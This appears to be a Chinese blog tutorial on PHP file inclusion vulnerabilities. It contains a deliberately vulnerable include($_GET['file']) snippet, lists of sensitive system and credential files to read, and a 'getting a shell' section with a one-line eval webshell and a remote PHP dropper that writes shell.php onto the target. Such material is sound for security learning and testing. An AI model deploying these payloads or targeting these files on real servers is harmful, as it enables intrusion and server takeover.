Web漏洞之文件包含漏洞

文件包含

开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无需再次编写,这种调用文件的过程一般被称为包含。
为了使代码更加灵活,通常会将包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以去调用恶意文件,造成文件包含漏洞。

包含漏洞原理解析

大多数语言都支持文件包含操作,如PHP语言所提供的文件包含功能强大、灵活,也导致了文件包含漏洞经常出现在PHP语言中(包含但不仅限于)

文件包含函数

PHP包含函数(重点)

include() 当代码执行到include()函数时才将文件包含进行,发生错误时会给出一个告警,程序继续往下执行。

include_once() 功能与include()相同,区别在于当重复调用一个文件时,程序只调用一次。

require()include()函数区别在于require()执行如果发生错误,函数会输出错误信息,并终止程序运行。

require_once() 功能与require()相同,区别在于当重复调用同一个文件时,程序只调用一次。
各类脚本语言包含代码写法
<!--#include file="1.asp" -->
<!--#include file="top.aspx" -->
<c:import url="http://thief.one/1.jsp">
<jsp:include page="head.jsp"/>
<%@ include file="head.jsp"%>
<?php Include('test.php')?>

文件包含分类

本地文件包含

包含服务器本地文件,由于服务器上的文件并不是攻击者能够控制的,因此该情况下,攻击者更多会包含一些配置文件,从而读取系统敏感信息,很多时候本地文件包含也会结合文件上传,组合使用。

简单的测试

<?php 

$file = $_GET['file'];
if (isset($file)){
	include($file);
}else{
	echo "File Error!";
}
?>
  1. 包含本地配置文件
    在这里插入图片描述
  2. 包含含有php代码的文件(本身一个txt文件是无法解析php代码的)。
    在这里插入图片描述
  3. 通过文件包含该文件(文件内容中的php代码被解析)
    在这里插入图片描述

被包含的文件。实际上被包含文件可以是任意格式的,即便与当前编程语言无关,甚至可以是图片,只要文件被包含,其内容会被包含文件包含,并以当前服务器脚本语言执行。

远程文件包含

能够通过URL地址怼远程服务器上的文件进行包含,这种攻击意味着攻击者可以传入任意的代码。
条件:参数设置:allow_url_include = on \ magic_quotes_gpc=off
要使用远程文件包含的功能,需要确定php是否开启了远程文件包含功能选项(默认为关闭状态)需要在php.ini配置文件中修改,修改后重启web服务器即可。(以上两个选项都需要开启)
在这里插入图片描述简单测试
与本地一样,区别在于一个本地包含,一个可以远程包含其他服务器上的文件。
在这里插入图片描述

文件包含利用

Windows系统敏感信息:
● C:\boot.ini //查看系统版本
● C:\windows\system32\intsrv\MetaBase.xml //IIS配置文件
● C:\windows\repair\sam //Windows初次密码
● C:\program files\mysql\my.ini //mysql配置
● C:\progarm files\mysql\data\mysql\user.MYD //mysql root
● C:\Windows\php.ini //php配置文件
Linux系统配置文件
● /etc/passwd //Linux用户信息
● /usr/local/app/apache2/conf/httpd.conf //apache2配置文件
● /usr/local/app/php5/lib/php.ini //php设置
● /etc/httpd/conf/http.conf //apache配置文件
● /etc/my.cnf //mysql配置文件

文件包含拿Shell

远程文件包含拿shell

远程文件包含直接包含一句话木马,是没办法连接webshell客户端的
在这里插入图片描述如果目标主机 allow_url_fopen选项开启的,就可以尝试远程包含一句话木马,通过上文远程包含提到的方法和内容进行上传,可以在访问的目录下生成shell文件,内容为<?php @eval($_POST['cmd']);?>
远程服务器上文件内容:

<?php
$a = "<?php eval(\$_POST['123'])?>";
$b = fopen("shell.php","w") or die("123!");
fwrite($b,$a);
fclose($b);
?>

远程加载我们服务器上的文件,会在当前文件目录写入一个shell
在这里插入图片描述在这里插入图片描述

本地文件包含拿shell

  1. 可以通过上传文件的方式上传图片马并拿到路径,在URL中接路径,包含一句话木马的文件。
  2. 也可以通过包含apache日志,实现拿到webshell权限

PHP伪协议

其他安全文章《公众号:7Seven安全》

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值